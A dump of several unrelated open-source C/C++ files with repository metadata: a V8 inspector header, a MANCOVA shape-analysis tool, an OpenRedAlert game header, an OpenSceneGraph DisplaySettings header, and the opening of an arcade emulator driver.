TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #ifndef V8_INSPECTOR_H_ #define V8_INSPECTOR_H_ // Only build this code if we're configured with the INSPECTOR. #ifdef INSPECTOR #include "v8.h" #include "objects.h" namespace v8 { namespace internal { class Inspector { public: static void DumpObjectType(FILE* out, Object *obj, bool print_more); static void DumpObjectType(FILE* out, Object *obj) { DumpObjectType(out, obj, false); } static void DumpObjectType(Object *obj, bool print_more) { DumpObjectType(stdout, obj, print_more); } static void DumpObjectType(Object *obj) { DumpObjectType(stdout, obj, false); } }; } } // namespace v8::internal #endif // INSPECTOR #endif // V8_INSPECTOR_H_
[ [ [ 1, 62 ] ] ]
92bcff8cbad0fee730ae22078a6b98ce326bf9a1
dd7a580891d9f4d78734f986eb4b727edceb8c44
/Source/shapeAnalysisMANCOVA.cxx
c3af4636de1f020b2df3a5670d9dd4f01537ca8b
[]
no_license
midas-journal/midas-journal-694
c4503c5e3417b6c6f1f3a6a82f8730460dd5fe31
1354653faac98be444a2f8443fb08d17f8f145f3
refs/heads/master
2020-05-27T08:19:38.147682
2011-08-22T13:47:18
2011-08-22T13:47:18
2,248,734
0
0
null
null
null
null
UTF-8
C++
false
false
14,046
cxx
/*********************************** *** Written by Marc Macenko *** *** 09/25/2008 *** *** Modified by Marc Niethammer *** *** 05/2009 *** *** Modified by Beatriz Paniagua *** *** 08/2009 and 09/2009 *** ************************************/ #include "MANCOVA.h" #include "miscMANCOVA.h" #include "nonMANCOVA.h" #include <iostream> #include <fstream> #include <string> #include <time.h> #include "shapeAnalysisMANCOVACLP.h" #include "constants.h" #include "newTypes.h" // TODO: It may be useful to introduce some structures // to pass around all the important information // this should make the function interfaces much less // cumbersome (MN) //void doMANCOVATesting( unsigned int numSubjects, unsigned int numFeatures, unsigned int numGroupTypes, unsigned int numIndependent, unsigned int testColumn, unsigned int numPerms, vnl_matrix<int> * groupLabel, vnl_matrix<double> * &featureValue, bool interactionTest, unsigned int numA, unsigned int numB, double significanceLevel, int computeStatisticsType, vnl_vector<double>& rawP, PointsContainerPointer &meanPoints ); int main(int argc, char *argv[]) { /* %%% % Y = X*B+U This is a standard Linear model: % Y is the dependent variable, such as caudate displacement (nXd) % X is the independent variables (nXp) % B is the parameter matrix (pXd) % % A*B = C This is the null hypothesis to test against % A describes the variables that should be investigated with the rest % 'factored out' (qXp) % B is the parameter matrix (pXd) % C completes the equation. It is often filled with zeros if the % null-Hypothesis is that there is no correlation (qXd) */ // computes the local pValues for each feature according to non-parametric permutation tests // // numSubjects = Number of Subjects Group A + Group B // numFeatures = Number of Scalar features per Subject // numPerms = Number of Permutations used in computation // tupelSize = Numbers of features grouped in tupels // groupLabel = int array [numSubjects] with group Labels, Group A = 0, Group B = 1 // featureValue = double array [numSubjects*numFeatures] with scalar feature values for // all Subjects e.g. n-th feature of m-th subjects is at featureValue[m * numFeatures + n] // significanceLevel = level of significance (usually 0.05 or 0.01) // significanceSteps = number of significance steps PARSE_ARGS; if (infile.empty()) { std::cout << " no input file specified " << std::endl;exit(1); } else { std::cout << " input file specified: " << infile<< std::endl; } //if (outbase.empty()) { outbase = infile; //} unsigned int numSubjects, numFeatures; vnl_matrix<int> * groupLabel = NULL; vnl_matrix<double> * featureValue = NULL; vnl_matrix<double> * scaleFactor = NULL; vnl_matrix<double> * indValue = NULL; std::string* meshFileNames = NULL; unsigned int numA; // number of group A members unsigned int numB; // number of group B members // load the mesh list file that defines all the inputs load_MeshList_file( infile, numIndependent, numGroupTypes, numSubjects, numA, numB, groupLabel, scaleFactor, meshFileNames, indValue, computeScaleFactorFromVolumes ); // load the actual mesh information MeshType::Pointer surfaceMesh = MeshType::New(); MeshSpatialObjectType::Pointer SOMesh; if (KWMreadableInputFile==0) load_Meshes( surfListScale, numSubjects, numIndependent, scaleFactor, indValue, meshFileNames, numFeatures, featureValue, surfaceMesh, SOMesh ); //This part added by bp2009 to include the longitudinal analysis in the study... else load_KWMreadableInputFile( surfListScale, numSubjects, numIndependent, scaleFactor, indValue, meshFileNames, numFeatures, featureValue, surfaceMesh, SOMesh ); //bp2009 // compute surface properties PointsContainerPointer meanPoints = PointsContainer::New(); PointsContainerPointer meanPointsA = PointsContainer::New(); PointsContainerPointer meanPointsB = PointsContainer::New(); PointsContainerPointer meanPointsCorrected = PointsContainer::New(); vnl_matrix<double> diffVectors(numFeatures,dimension); vnl_vector<double> normProjections(numFeatures); vnl_vector<double> normDistProjections(numFeatures); vnl_matrix<double> zScores(numFeatures,numSubjects); vnl_matrix<double> zScoresProjected(numFeatures,numSubjects); vtkPolyDataNormals *meanSurfaceNormals = vtkPolyDataNormals::New(); vtkPolyDataNormals *meanSurfaceNormalsCorrected = vtkPolyDataNormals::New(); // keep track of time time_t start,end; time (&start); compute_SurfaceProperties( meanPoints, meanPointsA, meanPointsB, diffVectors, normProjections, normDistProjections, zScores, zScoresProjected, numSubjects, numA, numB, numFeatures, groupLabel, featureValue, meanSurfaceNormals, surfaceMesh, outbase, meshFileNames , KWMreadableInputFile); // write out additional mesh information (means, differences, etc.) write_SurfaceProperties( outbase, meanPoints, meanPointsA, meanPointsB, diffVectors, normProjections, normDistProjections, zScoresProjected, zScores, writeZScores, surfaceMesh, SOMesh, meshFileNames, KWMreadableInputFile ); // Now do the actual statistical testing based on Dimitrio's MANCOVA theory // select statistic int computeStatisticsType = -1; if ( useRoy ) { computeStatisticsType = ROY; std::cout << "Using Roy statistics." << std::endl; } else if ( useHotelling ) { computeStatisticsType = HOTELLING; std::cout << "Using Hotelling statistics." << std::endl; } else if ( usePillai ) { computeStatisticsType = PILLAI; std::cout << "Using Pillai statistics." << std::endl; } else if ( useWilks ) { computeStatisticsType = WILKS; std::cout << "Using Wilks statistics." << std::endl; } if ( computeStatisticsType<0 ) { std::cerr << "No statistic type selected, defaulting to Hotelling." << std::endl; computeStatisticsType = HOTELLING; } std::cout << "Now running nonparametric tests:\n"; vnl_vector<double> mancovaRawP; doMANCOVATesting( numSubjects, numFeatures, numGroupTypes, numIndependent, testColumn, numPerms, groupLabel, featureValue, interactionTest, numA, numB, significanceLevel, computeStatisticsType, mancovaRawP, meanPointsCorrected ); // now compute the FDR corrected versions double fdrThresh; vnl_vector<double> fdrP; vnl_vector<double> bonferroniP; fdrP = fdrCorrection( mancovaRawP, significanceLevel, fdrThresh ); std::cout << "fdr thresh (MANCOVA) is = " << fdrThresh << std::endl; bonferroniP = bonferroniCorrection( mancovaRawP ); output_vector( mancovaRawP, outbase + std::string("_mancovaRawP"), ".txt" ); output_vector( fdrP, outbase + std::string("_mancovaFDRP"), ".txt" ); output_vector( bonferroniP, outbase + std::string("_mancovaBonferroniP"), ".txt" ); // Write out the corrected mean mesh: if (KWMreadableInputFile==0) { surfaceMesh->SetPoints(meanPointsCorrected); SOMesh->SetMesh(surfaceMesh); MeshWriterType::Pointer writer = MeshWriterType::New(); writer->SetInput(SOMesh); std::string FilenameCorrectedAverage(outbase); FilenameCorrectedAverage += std::string("_GLM_correctedMean.meta"); writer->SetFileName( FilenameCorrectedAverage.c_str() ); writer->Update(); } //end if (KWMreadableInputFile==0) // compute simple interaction tests if desired if ( simpleCorrs ) { if ( interactionTest ) { int correlationType = -1; if ( negativeCorrelation ) { correlationType = NEGCORR; } else if ( positiveCorrelation ) { correlationType = POSCORR; } else if ( trendCorrelation ) { correlationType = TCORR; } if ( correlationType<0 ) { std::cerr << "No correlation type selected, defaulting to trend (=two-tail)." << std::endl; correlationType = TCORR; } vnl_vector<double> spearmanRhoDist(numFeatures); vnl_vector<double> spearmanRhoPro(numFeatures); vnl_vector<double> spearmanRhoProPval(numFeatures,0);// Calculated through permutations vnl_vector<double> spearmanRhoDistPval(numFeatures,0); vnl_vector<double> pearsonRhoDist(numFeatures); vnl_vector<double> pearsonRhoPro(numFeatures); vnl_vector<double> pearsonRhoProPval(numFeatures,0);// Calculated through permutations vnl_vector<double> pearsonRhoDistPval(numFeatures,0); /*if ( simpleCorrsCorrectedMean ) // needs to be fixed, if we do testing that we would need to correct every individual measurement as well, otherwise there will be some form of inconsistency { std::cout << "Using GLM corrected mean for the simple correlation test." << std::endl; // need to compute a new surface normal surfaceMesh->SetPoints(meanPointsCorrected); itkMeshTovtkPolyData *convertMeshToVTK = new itkMeshTovtkPolyData(); convertMeshToVTK->SetInput(surfaceMesh); vtkPolyData * vtkMesh = convertMeshToVTK->GetOutput(); meanSurfaceNormalsCorrected->SetComputePointNormals(1); meanSurfaceNormalsCorrected->SetComputeCellNormals(0); meanSurfaceNormalsCorrected->SetSplitting(0); meanSurfaceNormalsCorrected->AutoOrientNormalsOn(); meanSurfaceNormalsCorrected->ConsistencyOn(); meanSurfaceNormalsCorrected->FlipNormalsOff(); // all normals are outward pointing meanSurfaceNormalsCorrected->SetInput(vtkMesh); meanSurfaceNormalsCorrected->Update(); do_ScalarInteractionTest( numSubjects, numFeatures, testColumn, featureValue, meanPointsCorrected, meanSurfaceNormalsCorrected, spearmanRhoDist, spearmanRhoPro, spearmanRhoProPval, spearmanRhoDistPval, pearsonRhoDist, pearsonRhoPro, pearsonRhoProPval, pearsonRhoDistPval, correlationType, computeParametricP, numPerms ); } else {*/ std::cout << "Using uncorrected mean for the simple correlation test." << std::endl; do_ScalarInteractionTest( numSubjects, numFeatures, testColumn, featureValue, meanPoints, meanSurfaceNormals, spearmanRhoDist, spearmanRhoPro, spearmanRhoProPval, spearmanRhoDistPval, pearsonRhoDist, pearsonRhoPro, pearsonRhoProPval, pearsonRhoDistPval, correlationType, computeParametricP, numPerms ); //} // now compute the FDR and the Bonferroni corrected versions double fdrThresh; vnl_vector<double> fdrP; vnl_vector<double> bonferroniP; bonferroniP = bonferroniCorrection( pearsonRhoDistPval ); fdrP = fdrCorrection( pearsonRhoDistPval, significanceLevel, fdrThresh ); std::cout << "fdr thresh (Pearson distance) is = " << fdrThresh << std::endl; output_vector(bonferroniP, outbase, std::string("_normDistProjectionsPearsonPvalBonferroni.txt")); output_vector(fdrP, outbase, std::string("_normDistProjectionsPearsonPvalFDR.txt")); bonferroniP = bonferroniCorrection( pearsonRhoProPval ); fdrP = fdrCorrection( pearsonRhoProPval, significanceLevel, fdrThresh ); std::cout << "fdr thresh (Pearson projection) is = " << fdrThresh << std::endl; output_vector(bonferroniP, outbase, std::string("_normProjectionsPearsonPvalBonferroni.txt")); output_vector(fdrP, outbase, std::string("_normProjectionsPearsonPvalFDR.txt")); bonferroniP = bonferroniCorrection( spearmanRhoDistPval ); fdrP = fdrCorrection( spearmanRhoDistPval, significanceLevel, fdrThresh ); std::cout << "fdr thresh (Spearman distance) is = " << fdrThresh << std::endl; output_vector(bonferroniP, outbase, std::string("_normDistProjectionsSpearmanPvalBonferroni.txt")); output_vector(fdrP, outbase, std::string("_normDistProjectionsSpearmanPvalFDR.txt")); bonferroniP = bonferroniCorrection( spearmanRhoProPval ); fdrP = fdrCorrection( spearmanRhoProPval, significanceLevel, fdrThresh ); std::cout << "fdr thresh (Spearman projection) is = " << fdrThresh << std::endl; output_vector(bonferroniP, outbase, std::string("_normProjectionsSpearmanPvalBonferroni.txt")); output_vector(fdrP, outbase, std::string("_normProjectionsSpearmanPvalFDR.txt")); // write the simple correlation test results output_vector(spearmanRhoPro, outbase, std::string("_normProjectionsSpearman.txt")); output_vector(spearmanRhoDist, outbase, std::string("_normDistProjectionsSpearman.txt")); output_vector(spearmanRhoProPval, outbase, std::string("_normProjectionsSpearmanPval.txt")); output_vector(spearmanRhoDistPval, outbase, std::string("_normDistProjectionsSpearmanPval.txt")); output_vector(pearsonRhoPro, outbase, std::string("_normProjectionsPearson.txt")); output_vector(pearsonRhoDist, outbase, std::string("_normDistProjectionsPearson.txt")); output_vector(pearsonRhoProPval, outbase, std::string("_normProjectionsPearsonPval.txt")); output_vector(pearsonRhoDistPval, outbase, std::string("_normDistProjectionsPearsonPval.txt")); } } time (&end); double dif = round(difftime (end,start)); unsigned int iif = (unsigned int) dif; std::cout << "Runtime was "<< iif/60 << " minute(s) and " << iif%60 << " second(s)." << std::endl; // clean up everything if (KWMreadableInputFile==0) { meanSurfaceNormals->Delete(); meanSurfaceNormalsCorrected->Delete(); surfaceMesh->Delete(); SOMesh->Delete(); } if ( groupLabel!=NULL ) delete groupLabel; if ( featureValue!=NULL ) delete featureValue; if ( scaleFactor!=NULL ) delete scaleFactor; if ( indValue!=NULL ) delete indValue; if ( meshFileNames!=NULL ) delete [] meshFileNames; // done cleaning up return 0; }
[ [ [ 1, 350 ] ] ]
f250f9acfdbd923d64ebafb7dc0791fdc74d5d5f
0ee189afe953dc99825f55232cd52b94d2884a85
/nexus/Handler.cpp
2eacf71132086832ced2c069af62e13babadeb33
[]
no_license
spolitov/lib
fed99fa046b84b575acc61919d4ef301daeed857
7dee91505a37a739c8568fdc597eebf1b3796cf9
refs/heads/master
2016-09-11T02:04:49.852151
2011-08-11T18:00:44
2011-08-11T18:00:44
2,192,752
0
0
null
null
null
null
UTF-8
C++
false
false
259
cpp
#include "pch.h" #include "Handler.h" namespace nexus { void HandlerStorageBase::allocationFailed(size_t size, size_t bufferSize) { std::cerr << "Allocation failed, requested: " << size << ", buffer size: " << bufferSize << std::endl; } }
[ [ [ 1, 12 ] ] ]
e777472ce26aa7ec9f697aa87a36d1ff5aa316a3
6477cf9ac119fe17d2c410ff3d8da60656179e3b
/Projects/openredalert/src/game/Game.h
d4a0ccb0e354ead8b77050dd41eb35931db405cf
[]
no_license
crutchwalkfactory/motocakerteam
1cce9f850d2c84faebfc87d0adbfdd23472d9f08
0747624a575fb41db53506379692973e5998f8fe
refs/heads/master
2021-01-10T12:41:59.321840
2010-12-13T18:19:27
2010-12-13T18:19:27
46,494,539
0
0
null
null
null
null
UTF-8
C++
false
false
1,308
h
// Game.h // 1.0 // This file is part of OpenRedAlert. // // OpenRedAlert is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, version 2 of the License. // // OpenRedAlert is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with OpenRedAlert. If not, see <http://www.gnu.org/licenses/>. #ifndef GAME_H #define GAME_H #include <string> #include "SDL/SDL_types.h" #include "include/config.h" using std::string; /** * This object represent a game session */ class Game { public: Game(); ~Game(); void InitializeMap(string MapName); /** Initialise some object of the game */ void InitializeGameClasses(); void FreeMemory(); void play(); void HandleTiming(); void dumpstats(); private: void handleAiCommands(); Uint8 MissionNr; Uint32 OldUptime; ConfigType config; Uint8 gamemode; bool BattleControlTerminated; }; #endif //GAME_H
[ [ [ 1, 56 ] ] ]
956e65ee80327c24797e6ba533a55bddd93cbd65
b22c254d7670522ec2caa61c998f8741b1da9388
/dependencies/OpenSceneGraph/include/osg/DisplaySettings
73593a60e8c75248f988763a2ad5d87cfe571045
[]
no_license
ldaehler/lbanet
341ddc4b62ef2df0a167caff46c2075fdfc85f5c
ecb54fc6fd691f1be3bae03681e355a225f92418
refs/heads/master
2021-01-23T13:17:19.963262
2011-03-22T21:49:52
2011-03-22T21:49:52
39,529,945
0
1
null
null
null
null
UTF-8
C++
false
false
14,434
/* -*-c++-*- OpenSceneGraph - Copyright (C) 1998-2006 Robert Osfield * * This library is open source and may be redistributed and/or modified under * the terms of the OpenSceneGraph Public License (OSGPL) version 0.0 or * (at your option) any later version. The full license is in LICENSE file * included with this distribution, and on the openscenegraph.org website. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * OpenSceneGraph Public License for more details. */ #ifndef OSG_DisplaySettings #define OSG_DisplaySettings 1 #include <osg/Referenced> #include <string> #include <vector> namespace osg { // forward declare class ArgumentParser; class ApplicationUsage; /** DisplaySettings class for encapsulating what visuals are required and * have been set up, and the status of stereo viewing.*/ class OSG_EXPORT DisplaySettings : public osg::Referenced { public: /** Maintain a DisplaySettings singleton for objects to query at runtime.*/ static DisplaySettings* instance(); DisplaySettings(): Referenced(true) { setDefaults(); readEnvironmentalVariables(); } DisplaySettings(ArgumentParser& arguments): Referenced(true) { setDefaults(); readEnvironmentalVariables(); readCommandLine(arguments); } DisplaySettings(const DisplaySettings& vs); DisplaySettings& operator = (const DisplaySettings& vs); void setDisplaySettings(const DisplaySettings& vs); void merge(const DisplaySettings& vs); void setDefaults(); /** read the environmental variables.*/ void readEnvironmentalVariables(); /** read the commandline arguments.*/ void readCommandLine(ArgumentParser& arguments); enum DisplayType { MONITOR, POWERWALL, REALITY_CENTER, HEAD_MOUNTED_DISPLAY }; void setDisplayType(DisplayType type) { _displayType = type; } DisplayType getDisplayType() const { return _displayType; } void setStereo(bool on) { _stereo = on; } bool getStereo() const { return _stereo; } enum StereoMode { QUAD_BUFFER, ANAGLYPHIC, HORIZONTAL_SPLIT, VERTICAL_SPLIT, LEFT_EYE, RIGHT_EYE, HORIZONTAL_INTERLACE, VERTICAL_INTERLACE, CHECKERBOARD }; void setStereoMode(StereoMode mode) { _stereoMode = mode; } StereoMode getStereoMode() const { return _stereoMode; } void setEyeSeparation(float eyeSeparation) { _eyeSeparation = eyeSeparation; } float getEyeSeparation() const { return _eyeSeparation; } enum SplitStereoHorizontalEyeMapping { LEFT_EYE_LEFT_VIEWPORT, LEFT_EYE_RIGHT_VIEWPORT }; void setSplitStereoHorizontalEyeMapping(SplitStereoHorizontalEyeMapping m) { _splitStereoHorizontalEyeMapping = m; } SplitStereoHorizontalEyeMapping getSplitStereoHorizontalEyeMapping() const { return _splitStereoHorizontalEyeMapping; } void setSplitStereoHorizontalSeparation(int s) { _splitStereoHorizontalSeparation = s; } int getSplitStereoHorizontalSeparation() const { return _splitStereoHorizontalSeparation; } enum SplitStereoVerticalEyeMapping { LEFT_EYE_TOP_VIEWPORT, LEFT_EYE_BOTTOM_VIEWPORT }; void setSplitStereoVerticalEyeMapping(SplitStereoVerticalEyeMapping m) { _splitStereoVerticalEyeMapping = m; } SplitStereoVerticalEyeMapping getSplitStereoVerticalEyeMapping() const { return _splitStereoVerticalEyeMapping; } void setSplitStereoVerticalSeparation(int s) { _splitStereoVerticalSeparation = s; } int getSplitStereoVerticalSeparation() const { return _splitStereoVerticalSeparation; } void setSplitStereoAutoAdjustAspectRatio(bool flag) { _splitStereoAutoAdjustAspectRatio=flag; } bool getSplitStereoAutoAdjustAspectRatio() const { return _splitStereoAutoAdjustAspectRatio; } void setScreenWidth(float width) { _screenWidth = width; } float getScreenWidth() const { return _screenWidth; } void setScreenHeight(float height) { _screenHeight = height; } float getScreenHeight() const { return _screenHeight; } void setScreenDistance(float distance) { _screenDistance = distance; } float getScreenDistance() const { return _screenDistance; } void setDoubleBuffer(bool flag) { _doubleBuffer = flag; } bool getDoubleBuffer() const { return _doubleBuffer; } void setRGB(bool flag) { _RGB = flag; } bool getRGB() const { return _RGB; } void setDepthBuffer(bool flag) { _depthBuffer = flag; } bool getDepthBuffer() const { return _depthBuffer; } void setMinimumNumAlphaBits(unsigned int bits) { _minimumNumberAlphaBits = bits; } unsigned int getMinimumNumAlphaBits() const { return _minimumNumberAlphaBits; } bool getAlphaBuffer() const { return _minimumNumberAlphaBits!=0; } void setMinimumNumStencilBits(unsigned int bits) { _minimumNumberStencilBits = bits; } unsigned int getMinimumNumStencilBits() const { return _minimumNumberStencilBits; } bool getStencilBuffer() const { return _minimumNumberStencilBits!=0; } void setMinimumNumAccumBits(unsigned int red, unsigned int green, unsigned int blue, unsigned int alpha); unsigned int getMinimumNumAccumRedBits() const { return _minimumNumberAccumRedBits; } unsigned int getMinimumNumAccumGreenBits() const { return _minimumNumberAccumGreenBits; } unsigned int getMinimumNumAccumBlueBits() const { return _minimumNumberAccumBlueBits; } unsigned int getMinimumNumAccumAlphaBits() const { return _minimumNumberAccumAlphaBits; } bool getAccumBuffer() const { return (_minimumNumberAccumRedBits+_minimumNumberAccumGreenBits+_minimumNumberAccumBlueBits+_minimumNumberAccumAlphaBits)!=0; } void setMaxNumberOfGraphicsContexts(unsigned int num); unsigned int getMaxNumberOfGraphicsContexts() const; void setNumMultiSamples(unsigned int samples) { _numMultiSamples = samples; } unsigned int getNumMultiSamples() const { return _numMultiSamples; } bool getMultiSamples() const { return _numMultiSamples!=0; } void setCompileContextsHint(bool useCompileContexts) { _compileContextsHint = useCompileContexts; } bool getCompileContextsHint() const { return _compileContextsHint; } void setSerializeDrawDispatch(bool serializeDrawDispatch) { _serializeDrawDispatch = serializeDrawDispatch; } bool getSerializeDrawDispatch() const { return _serializeDrawDispatch; } /** Set the hint for the total number of threads in the DatbasePager set up, inclusive of the number of http dedicated threads.*/ void setNumOfDatabaseThreadsHint(unsigned int numThreads) { _numDatabaseThreadsHint = numThreads; } /** Get the hint for total number of threads in the DatbasePager set up, inclusive of the number of http dedicated threads.*/ unsigned int getNumOfDatabaseThreadsHint() const { return _numDatabaseThreadsHint; } /** Set the hint for number of threads in the DatbasePager to dedicate to reading http requests.*/ void setNumOfHttpDatabaseThreadsHint(unsigned int numThreads) { _numHttpDatabaseThreadsHint = numThreads; } /** Get the hint for number of threads in the DatbasePager dedicated to reading http requests.*/ unsigned int getNumOfHttpDatabaseThreadsHint() const { return _numHttpDatabaseThreadsHint; } void setApplication(const std::string& application) { _application = application; } const std::string& getApplication() { return _application; } void setMaxTexturePoolSize(unsigned int size) { _maxTexturePoolSize = size; } unsigned int getMaxTexturePoolSize() const { return _maxTexturePoolSize; } void setMaxBufferObjectPoolSize(unsigned int size) { _maxBufferObjectPoolSize = size; } unsigned int getMaxBufferObjectPoolSize() const { return _maxBufferObjectPoolSize; } /** Methods used to set and get defaults for Cameras implicit buffer attachments. For more info: See description of Camera::setImplicitBufferAttachment method DisplaySettings implicit buffer attachment selection defaults to: DEPTH and COLOR for both primary (Render) FBO and seconday Multisample (Resolve) FBO ie: IMPLICT_DEPTH_BUFFER_ATTACHMENT | IMPLICIT_COLOR_BUFFER_ATTACHMENT **/ enum ImplicitBufferAttachment { IMPLICIT_DEPTH_BUFFER_ATTACHMENT = (1 << 0), IMPLICIT_STENCIL_BUFFER_ATTACHMENT = (1 << 1), IMPLICIT_COLOR_BUFFER_ATTACHMENT = (1 << 2), DEFAULT_IMPLICIT_BUFFER_ATTACHMENT = IMPLICIT_COLOR_BUFFER_ATTACHMENT | IMPLICIT_DEPTH_BUFFER_ATTACHMENT }; typedef int ImplicitBufferAttachmentMask; void setImplicitBufferAttachmentMask(ImplicitBufferAttachmentMask renderMask = DisplaySettings::DEFAULT_IMPLICIT_BUFFER_ATTACHMENT, ImplicitBufferAttachmentMask resolveMask = DisplaySettings::DEFAULT_IMPLICIT_BUFFER_ATTACHMENT ) { _implicitBufferAttachmentRenderMask = renderMask; _implicitBufferAttachmentResolveMask = resolveMask; } void setImplicitBufferAttachmentRenderMask(ImplicitBufferAttachmentMask implicitBufferAttachmentRenderMask) { _implicitBufferAttachmentRenderMask = implicitBufferAttachmentRenderMask; } void setImplicitBufferAttachmentResolveMask(ImplicitBufferAttachmentMask implicitBufferAttachmentResolveMask) { _implicitBufferAttachmentResolveMask = implicitBufferAttachmentResolveMask; } /** Get mask selecting default implict buffer attachments for Cameras primary FBOs. */ ImplicitBufferAttachmentMask getImplicitBufferAttachmentRenderMask() const { return _implicitBufferAttachmentRenderMask; } /** Get mask selecting default implict buffer attachments for Cameras secondary MULTISAMPLE FBOs. */ ImplicitBufferAttachmentMask getImplicitBufferAttachmentResolveMask() const { return _implicitBufferAttachmentResolveMask;} /** Set the hint of which OpenGL version to attempt to create a graphics context for.*/ void setGLContextVersion(const std::string& version) { _glContextVersion = version; } /** Get the hint of which OpenGL version to attempt to create a graphics context for.*/ const std::string getGLContextVersion() const { return _glContextVersion; } /** Set the hint of the flags to use in when creating graphic contexts.*/ void setGLContextFlags(unsigned int flags) { _glContextFlags = flags; } /** Get the hint of the flags to use in when creating graphic contexts.*/ unsigned int getGLContextFlags() const { return _glContextFlags; } /** Set the hint of the profile mask to use in when creating graphic contexts.*/ void setGLContextProfileMask(unsigned int mask) { _glContextProfileMask = mask; } /** Get the hint of the profile mask to use in when creating graphic contexts.*/ unsigned int getGLContextProfileMask() const { return _glContextProfileMask; } protected: virtual ~DisplaySettings(); DisplayType _displayType; bool _stereo; StereoMode _stereoMode; float _eyeSeparation; float _screenWidth; float _screenHeight; float _screenDistance; SplitStereoHorizontalEyeMapping _splitStereoHorizontalEyeMapping; int _splitStereoHorizontalSeparation; SplitStereoVerticalEyeMapping _splitStereoVerticalEyeMapping; int _splitStereoVerticalSeparation; bool _splitStereoAutoAdjustAspectRatio; bool _doubleBuffer; bool _RGB; bool _depthBuffer; unsigned int _minimumNumberAlphaBits; unsigned int _minimumNumberStencilBits; unsigned int _minimumNumberAccumRedBits; unsigned int _minimumNumberAccumGreenBits; unsigned int _minimumNumberAccumBlueBits; unsigned int _minimumNumberAccumAlphaBits; unsigned int _maxNumOfGraphicsContexts; unsigned int _numMultiSamples; bool _compileContextsHint; bool _serializeDrawDispatch; unsigned int _numDatabaseThreadsHint; unsigned int _numHttpDatabaseThreadsHint; std::string _application; unsigned int _maxTexturePoolSize; unsigned int _maxBufferObjectPoolSize; ImplicitBufferAttachmentMask _implicitBufferAttachmentRenderMask; ImplicitBufferAttachmentMask _implicitBufferAttachmentResolveMask; std::string _glContextVersion; unsigned int _glContextFlags; unsigned int _glContextProfileMask; }; } # endif
[ "vdelage@3806491c-8dad-11de-9a8c-6d5b7d1e4d13" ]
[ [ [ 1, 322 ] ] ]
0ee35d694a010a0a11a49df9292277966afb1def
011359e589f99ae5fe8271962d447165e9ff7768
/src/burn/misc/post90s/d_tumbleb.cpp
1e55eab42d1edc5b46d00968f84f870adfd3256a
[]
no_license
PS3emulators/fba-next-slim
4c753375fd68863c53830bb367c61737393f9777
d082dea48c378bddd5e2a686fe8c19beb06db8e1
refs/heads/master
2021-01-17T23:05:29.479865
2011-12-01T18:16:02
2011-12-01T18:16:02
2,899,840
1
0
null
null
null
null
UTF-8
C++
false
false
148,258
cpp
#include "tiles_generic.h" #include "burn_ym2151.h" #include "msm6295.h" #include "burn_ym3812.h" static unsigned char DrvInputPort0[8] = {0, 0, 0, 0, 0, 0, 0, 0}; static unsigned char DrvInputPort1[8] = {0, 0, 0, 0, 0, 0, 0, 0}; static unsigned char DrvInputPort2[8] = {0, 0, 0, 0, 0, 0, 0, 0}; static unsigned char DrvDip[2] = {0, 0}; static unsigned char DrvInput[3] = {0, 0, 0}; static unsigned char DrvReset = 0; static unsigned char *Mem = NULL; static unsigned char *MemEnd = NULL; static unsigned char *RamStart = NULL; static unsigned char *RamEnd = NULL; static unsigned char *Drv68KRom = NULL; static unsigned char *Drv68KRam = NULL; static unsigned char *DrvZ80Rom = NULL; static unsigned char *DrvZ80Ram = NULL; static unsigned char *DrvProtData = NULL; static unsigned char *DrvMSM6295ROMSrc = NULL; static unsigned char *DrvSpriteRam = NULL; static unsigned char *DrvPf1Ram = NULL; static unsigned char *DrvPf2Ram = NULL; static unsigned char *DrvPaletteRam = NULL; static unsigned char *DrvChars = NULL; static unsigned char *DrvTiles = NULL; static unsigned char *DrvSprites = NULL; static unsigned char *DrvTempRom = NULL; static unsigned int *DrvPalette = NULL; static UINT16 *DrvControl = NULL; static unsigned char DrvVBlank; static unsigned char DrvOkiBank; static unsigned char DrvZ80Bank; static UINT16 DrvTileBank; static int DrvSoundLatch; static int Tumbleb2MusicCommand; static int Tumbleb2MusicBank; static int Tumbleb2MusicIsPlaying; static int DrvSpriteXOffset; static int DrvSpriteYOffset; static int DrvSpriteRamSize; static int DrvSpriteMask; static int DrvSpriteColourMask; static int DrvYM2151Freq; static int DrvNumSprites; static int DrvNumChars; static int DrvNumTiles; static int DrvHasZ80; static int DrvHasYM2151; static int DrvHasYM3812; static int DrvHasProt; static int Tumbleb2; static int Jumpkids; static int Chokchok; static int Wlstar; static int Wondl96; static int Bcstry; static int Semibase; static int SemicomSoundCommand; static int Pf1XOffset; static int Pf1YOffset; static int Pf2XOffset; static int Pf2YOffset; typedef int (*LoadRoms)(); static LoadRoms DrvLoadRoms; typedef void (*Map68k)(); static Map68k DrvMap68k; typedef void (*MapZ80)(); static MapZ80 DrvMapZ80; typedef void (*Render)(); static Render DrvRender; static void DrvDraw(); static void PangpangDraw(); static void SuprtrioDraw(); static void HtchctchDraw(); static void FncywldDraw(); static void SdfightDraw(); static void JumppopDraw(); static int nCyclesDone[2], nCyclesTotal[2]; static int nCyclesSegment; static struct BurnInputInfo TumblebInputList[] = { {"Coin 1" , BIT_DIGITAL , DrvInputPort2 + 0, "p1 coin" }, {"Start 1" , BIT_DIGITAL , DrvInputPort0 + 7, "p1 start" }, {"Coin 2" , BIT_DIGITAL , DrvInputPort2 + 1, "p2 coin" }, {"Start 2" , BIT_DIGITAL , DrvInputPort1 + 7, "p2 